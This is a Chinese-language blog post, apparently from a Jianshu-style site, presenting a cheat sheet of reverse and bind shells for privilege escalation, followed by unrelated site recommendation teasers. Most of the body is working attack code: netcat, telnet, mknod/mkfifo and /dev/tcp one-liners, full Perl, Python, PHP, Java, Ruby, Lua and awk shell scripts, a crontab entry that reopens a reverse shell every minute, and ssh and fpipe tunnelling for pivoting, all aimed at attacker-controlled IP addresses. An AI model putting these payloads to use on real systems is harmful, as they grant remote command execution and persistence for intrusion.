系统提权-各种反弹shell使用

telnet to telnet 在目标系统生成一个转发shell,这个shell需要在攻击者本地监听两个端口分别是9970和9980

  • nc -lvnp 9980 (攻击者本机本地监听9980,此处输入命令但结果显示会在本地监听的另一个端口显示)
  • nc -lvnp 9970 (攻击者本机本地监听9970,此处是显示命令执行的结果)
  • telnet 10.57.239.50 9980 | /bin/bash | telnet 10.57.239.50 9970

Windows下端口重定向工具fpipe

  • 在Windows环境下执行如下命令:
  • FPipe.exe -l 801 -s 1081 -r 22 10.21.33.22
  • 上述命令的含义:
  • 表示在Windows环境下本地监听801端口,这个端口是供外部主机连接,然后外部主机尝试连接801端口,fpipe会将此连接进来的端口流量转发至本机的1081端口,之后将1081端口出来的流量转发至最终需要连接的10.21.33.22的22端口
  • fpipe的下载地址:http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

Linux下使用ssh进行本地,远程,隧道,或动态端口转发

  • ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
  • ssh -L 8080:127.0.0.1:80 root@192.168.2.80 Local Port
  • ssh -R 8080:127.0.0.1:80 root@192.168.2.80 Remote Port
  • ssh -D 127.0.0.1:9060 -N [username]@[ip]
  • proxychains ifconfig

在netcat没有-e参数或者被删除禁用了可以使用mknod

  • nc -lvnp 4488 (攻击者IP地址 10.7.9.50)
  • mknod backpipe p; nc 10.7.9.50 4488 0<backpipe | /bin/sh 1>backpipe (目标主机上执行)
  • Note: 上述mknod的使用之间0<backpipe 1>backpipe不能有空格,否则执行不成功,当然这个backpipe的名称可以随便换

netcat反弹shell

  • nc -lvnp 4488 (攻击者IP地址 10.7.9.50)
  • nc 10.7.9.50 4488 -e /bin/bash (目标主机上执行)
  • /bin/sh | nc 10.7.9.50 4488

不使用netcat可以使用/dev/tcp套接字的编程特性,重定向/bin/bash到远程系统

  • /bin/bash -i > /dev/tcp/10.7.9.50/4488 0<&1 2>&1 (目标主机上执行)
  • bash -i >& /dev/tcp/10.7.9.50/4488 0>&1
  • 0<&196;exec 196<>/dev/tcp/10.7.9.50/4488; sh <&196 >&196 2>&196
  • nc -lvnp 4488 (攻击者IP地址)

不用netcat和/dev/tcp

  • mknod backpipe p && telnet 10.7.9.50 4488 0<backpipe | /bin/sh 1>backpipe (目标主机执行,注意:使用&&的时候如果执行了一次生成了backpipe,再次执行此命令还显示已经存在backpipe执行不了,如果要再次执行可以更好backpipe名字或者删除backpipe)
  • mknod backpipe p; telnet 10.7.9.50 4488 0<backpipe | /bin/sh 1>backpipe (目标主机执行,注意:使用;的时候如果执行了一次生成了backpipe,再次执行此命令是没有问题,可以一直执行此相同的命令)
  • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.7.9.50 4488 >/tmp/f
  • nc -lvnp 4488 (攻击者IP地址)

使用perl反弹shell

  • perl -MIO -e 'p=fork;exit,if(p);c=new IO::Socket::INET(PeerAddr,"10.7.9.50:4488");STDIN->fdopen(c,r);~->fdopen(c,w);system$_ while<>;' (目标主机上执行)
  • nc -lvnp 4488 (攻击者本地监听)

使用perl代码反弹shell

  • nc -lvnp 4488 (攻击者本地监听)
  • 新建并编辑脚本 vim reshell.pl
#!/usr/bin/perl

use Socket;
$i="10.7.9.50";
$p=4488;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i))))
    {
        open(STDIN,">&S");
        open(STDOUT,">&S");
        open(STDERR,">&S");
        exec("/bin/sh -i");
            };

使用Python反弹shell

  • nc -lvnp 4488 (攻击者本地监听)
  • 新建并编辑脚本 vim reshellpy1.py
#!/usr/bin/python

import socket
import subprocess
import os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.7.9.50",4488))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
  • 新建并编辑脚本 vim reshellpy2.py
这个暂未测试,需要更改脚本

#!/usr/bin/python
import socket,subprocess

HOST = '10.16.44.100' # The remote host
PORT = 443 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send('[*] Connection Established!')
# start loop
while 1:
# recieve shell command
data = s.recv(1024)
# if its quit, then break out and close socket
if data == "quit": break
# do shell command
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# send output to attacker
s.send(stdout_value)
# close socket
s.close()

php反弹shell

  • nc -lvnp 4488 (攻击者本机监听)
  • php -r '$sock=fsockopen("10.57.239.50",4488);exec("/bin/sh -i <&3 >&3 2>&3");' (目标主机上执行)

Java反弹shell

  • nc -lvnp 4488 (攻击者本机监听)
暂未测试

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.7.9.50/4488;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

ruby反弹shell

  • nc -lvnp 4488 (攻击者本机监听)
  • ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.7.9.50","4488");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

lua反弹shell

  • nc -lvnp 4488 (攻击者本机监听)
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.57.239.50','4488');os.execute('/bin/sh -i <&3 >&3 2>&3');"

计划任务crontab反弹shell

  • nc -lvnp 4488 (攻击者本机监听)
目标主机添加如下计划任务
* * * * * /bin/bash -i >& /dev/tcp/10.7.9.50/4488 0>&1

使用awk或者gawk在目标主机监听端口,然后攻击者主动连接,这个脚本不是反弹脚本

新建编辑shell.gawk  添加如下脚本

#!/usr/bin/gawk -f

BEGIN {
        Port    =       4488
        Prompt  =       "p0rietea> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

然后给其执行权限chmod +x shell.gawk
  • awk也可以
新建编辑shell.awk  添加如下脚本

#!/usr/bin/awk -f

BEGIN {
        Port    =       4488
        Prompt  =       "p0rietea> "
        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

然后给其执行权限chmod +x shell.awk
在攻击主机上执行nc 10.7.9.50 4488
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,732评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,496评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,264评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,807评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,806评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,675评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,029评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,683评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 41,704评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,666评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,773评论 1 332
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,413评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,016评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,978评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,204评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,083评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,503评论 2 343

推荐阅读更多精彩内容

  • 运行操作 CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) CM...
    小沐子_IT阅读 2,051评论 0 4
  • 命令简介 cmd是command的缩写.即命令行 。 虽然随着计算机产业的发展,Windows 操作系统的应用越来...
    Littleston阅读 3,313评论 0 12
  • 一、命令行 1. calc-----------启动计算器 2.certmgr.msc----证书管理实用程序 3...
    小小辛_c阅读 698评论 0 2
  • 背景 前段时间因为使用Flink默认配置,没有禁用通过web上传jar包提交作业的功能,同时服务器配有公网地址,也...
    AI猫头鹰阅读 1,333评论 0 0
  • 运行操作 CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) CM...
    小明yz阅读 2,748评论 0 8